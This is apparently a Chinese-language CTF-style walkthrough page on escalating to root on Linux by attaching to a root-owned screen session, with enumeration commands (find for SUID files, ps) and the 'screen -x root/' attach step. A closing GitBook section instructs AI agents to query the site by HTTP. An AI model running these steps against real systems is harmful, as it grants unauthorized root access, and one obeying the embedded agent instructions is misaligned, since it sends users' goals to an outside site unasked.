> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/suid/suid-screen-linux-privilege-escalation.md).

# SUID screen - Linux 权限提升

## 这是什么

SUID 二进制文件以其所有者的权限执行，通常是 root。存在漏洞、过时或过于灵活的 SUID 二进制文件可以读取受保护文件、启动具有特权的 shell，或执行由攻击者控制的代码。这个特定页面重点关注 **SUID（screen）** 并保持利用流程切合实际：识别条件，安全验证，然后运行证明影响所需的最小载荷。

## 枚举

在运行利用路径之前，先确认本地上下文和具体的错误配置。

```bash
find / -perm -4000 -type f 2>/dev/null
```

## 示例

#### SUID 二进制文件识别

我们将使用以下命令查找系统中启用了 SUID 位的文件：

```bash
find / -perm -4000 2>/dev/null
```

<figure><img src="/files/7919fc6d348c0f675b0395695f6c4cf8e3c6f025" alt=""><figcaption></figcaption></figure>

#### Screen 进程分析

要查看当前与 Screen 相关的进程，我们使用以下命令：

```bash
ps -aux | grep "screen"
```

<div data-full-width="true"><figure><img src="/files/ab5e492b8e0f1f2ec4fa006af64ff555ebae430a" alt=""><figcaption></figcaption></figure></div>

我们发现以下正在运行的进程：

{% code overflow="wrap" %}

```bash
/bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root /;; done
```

{% endcode %}

上述进程表明，如果 `/var/run/screen/S-root/` 文件夹为空，Screen 就会被配置为创建一个 root 会话。通过这种配置，我们可以使用 Screen 获得 root 访问权限。

```bash
screen -x root/
```

### root.txt flag :)

以 root 身份访问 Screen 后，你现在拥有管理员权限。

<figure><img src="/files/496def476abed37de55ac5a681aa7287111f1807" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/suid/suid-screen-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
